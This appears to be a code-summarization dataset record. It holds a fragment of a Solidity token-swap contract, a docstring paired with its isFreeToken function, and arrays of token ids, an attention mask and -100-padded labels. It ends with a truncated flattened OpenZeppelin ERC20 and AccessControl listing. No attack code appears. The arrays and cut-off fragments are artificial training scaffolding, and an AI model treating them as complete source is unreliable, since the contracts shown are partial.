_distributeFees(minRequiredFeeInSwap); } else { uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ? getFeeInEthForERC20UsingTotalSupply(swap.closeValue, swap.closeContractAddress) : getFeeInEthForERC20(swap.closeValue, swap.closeContractAddress); require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee"); require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee"); (bool success,) = _feesWallet.call.value(minRequiredFeeInEth)(""); require(success, "[Validation] Transfer of fee failed"); } } // Close the swap. swap.status = Status.CLOSED; // Transfer the ERC20 funds from the ERC20 trader to the ETH trader. IERC20 erc20Contract = IERC20(swap.closeContractAddress); require(swap.closeValue <= erc20Contract.allowance(swap.closeTrader, address(this))); require(erc20Contract.transferFrom(swap.closeTrader, swap.openTrader, swap.closeValue)); // Transfer the ETH funds from this contract to the ERC20 trader. swap.closeTrader.transfer(swap.openValue); emit Close(id); } function _closeERC20ToEther( uint256 id, uint256 fee, bool isFeeInSwap ) private onlyOpenSwaps(id) { Swap storage swap = _swaps[id]; //Transferring fee to the wallet if(isFeeInSwap){ require(msg.value >= swap.closeValue, "[Validation] Enough ETH not sent"); uint256 minRequiredFeeInSwap = getFeeInSwapForETH(swap.closeValue); uint256 feeDiff = 0; if( fee < minRequiredFeeInSwap ) { feeDiff = minRequiredFeeInSwap.sub(fee); uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap); //will allow if diff is less than 5% require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee"); } _distributeFees(minRequiredFeeInSwap); } else { uint256 minRequiredFeeInEth = getFeeInEthForEth(swap.closeValue); require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee"); require(msg.value >= swap.closeValue.add(minRequiredFeeInEth), "[Validation] Enough ETH not sent"); (bool success,) = _feesWallet.call.value(minRequiredFeeInEth)(""); require(success, "[Validation] Transfer of fee failed"); } // Close the swap. swap.status = Status.CLOSED; // Transfer the opening funds from this contract to the eth trader. IERC20 openERC20Contract = IERC20(swap.openContractAddress); require(openERC20Contract.transfer(swap.closeTrader, swap.openValue)); (bool success,) = swap.openTrader.call.value(swap.closeValue)(""); require(success, "[Validation] Transfer of eth failed"); emit Close(id); } function _closeERC20ToERC20( uint256 id, uint256 fee, bool isFeeInSwap, bool calcFeeUsingTotalSupply ) private onlyOpenSwaps(id) { Swap storage swap = _swaps[id]; if(!isFreeToken(swap.closeContractAddress)) { //Transfer fee to the wallet if(isFeeInSwap){ uint256 minRequiredFeeInSwap = getFeeInSwapForERC20(swap.closeValue, swap.closeContractAddress, calcFeeUsingTotalSupply); uint256 feeDiff = 0; if( fee < minRequiredFeeInSwap ) { feeDiff = minRequiredFeeInSwap.sub(fee); uint256 feeSlippagePercentage = feeDiff.mul(100).div(minRequiredFeeInSwap); //will allow if diff is less than 5% require(feeSlippagePercentage < _allowedFeeSlippagePercentage, "[Validation] Fee (SWAP) is below minimum required fee"); } _distributeFees(minRequiredFeeInSwap); } else { uint256 minRequiredFeeInEth = calcFeeUsingTotalSupply ? getFeeInEthForERC20UsingTotalSupply(swap.closeValue, swap.closeContractAddress) : getFeeInEthForERC20(swap.closeValue, swap.closeContractAddress); require(fee >= minRequiredFeeInEth, "[Validation] Fee (ETH) is below minimum required fee"); require(msg.value >= minRequiredFeeInEth, "[Validation] msg.value doesn't contain enough ETH for fee"); (bool success,) = _feesWallet.call.value(minRequiredFeeInEth)(""); require(success, "[Validation] Transfer of fee failed"); } } // Close the swap. swap.status = Status.CLOSED; // Transfer the closing funds from the closing trader to the opening trader. IERC20 closeERC20Contract = IERC20(swap.closeContractAddress); require(swap.closeValue <= closeERC20Contract.allowance(swap.closeTrader, address(this))); require(closeERC20Contract.transferFrom(swap.closeTrader, swap.openTrader, swap.closeValue)); // Transfer the opening funds from this contract to the closing trader. IERC20 openERC20Contract = IERC20(swap.openContractAddress); require(openERC20Contract.transfer(swap.closeTrader, swap.openValue)); emit Close(id); } function cancel(uint256 id) external onlyOpenSwaps(id) { Swap memory swap = _swaps[id]; require(swap.openTrader == _msgSender(), "[Validation]: The caller is not authorized to cancel the trade"); if(SwapType.ETH_TO_ERC20 == swap.swapType) { _cancelEtherToERC20(id); } else { _cancelERC20(id); } } function _cancelEtherToERC20(uint256 id) private onlyOpenSwaps(id) { // Cancel the swap. Swap storage swap = _swaps[id]; swap.status = Status.CANCELLED; // Transfer the ETH value from this contract back to the ETH trader. swap.openTrader.transfer(swap.openValue); emit Cancel(id); } function _cancelERC20(uint256 id) private onlyOpenSwaps(id) { // Cancel the swap. Swap storage swap = _swaps[id]; swap.status = Status.CANCELLED; // Transfer opening value from this contract back to the opening trader. IERC20 openERC20Contract = IERC20(swap.openContractAddress); require(openERC20Contract.transfer(swap.openTrader, swap.openValue)); emit Cancel(id); } function check(uint256 id) external view returns ( uint256 openValue, address openTrader, address openContractAddress, uint256 closeValue, address closeTrader, address closeContractAddress, SwapType swapType, Status status ) { Swap memory swap = _swaps[id]; return ( swap.openValue, swap.openTrader, swap.openContractAddress, swap.closeValue, swap.closeTrader, swap.closeContractAddress, swap.swapType, swap.status ); } /** * @dev called by admin to add given token to free tokens list */ function addTokenToFreeList(address token) external onlyOwner onlyContract(token) { _listFreeTokens[token] = true; } /** * @dev called by admin to remove given token from free tokens list */ function removeTokenFromFreeList(address token) external onlyOwner onlyContract(token) { _listFreeTokens[token] = false; } /** * @dev Checks if token is in free list * @param token The address to check */ function isFreeToken(address token) public view returns(bool) { return _listFreeTokens[token]; } }
* @dev Checks if token is in free list @param token The address to check/
function isFreeToken(address token) public view returns(bool) { return _listFreeTokens[token]; }
7,672,789
[ 1, 4081, 309, 1147, 353, 316, 4843, 666, 225, 1147, 1021, 1758, 358, 866, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 9194, 1345, 12, 2867, 1147, 13, 203, 565, 1071, 203, 565, 1476, 203, 565, 1135, 12, 6430, 13, 203, 565, 288, 203, 3639, 327, 389, 1098, 9194, 5157, 63, 2316, 15533, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; // Sources flattened with hardhat v2.8.4 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { _spendAllowance(account, _msgSender(), amount); _burn(account, amount); } } // File @openzeppelin/contracts/security/[email protected] // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/utils/introspection/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. 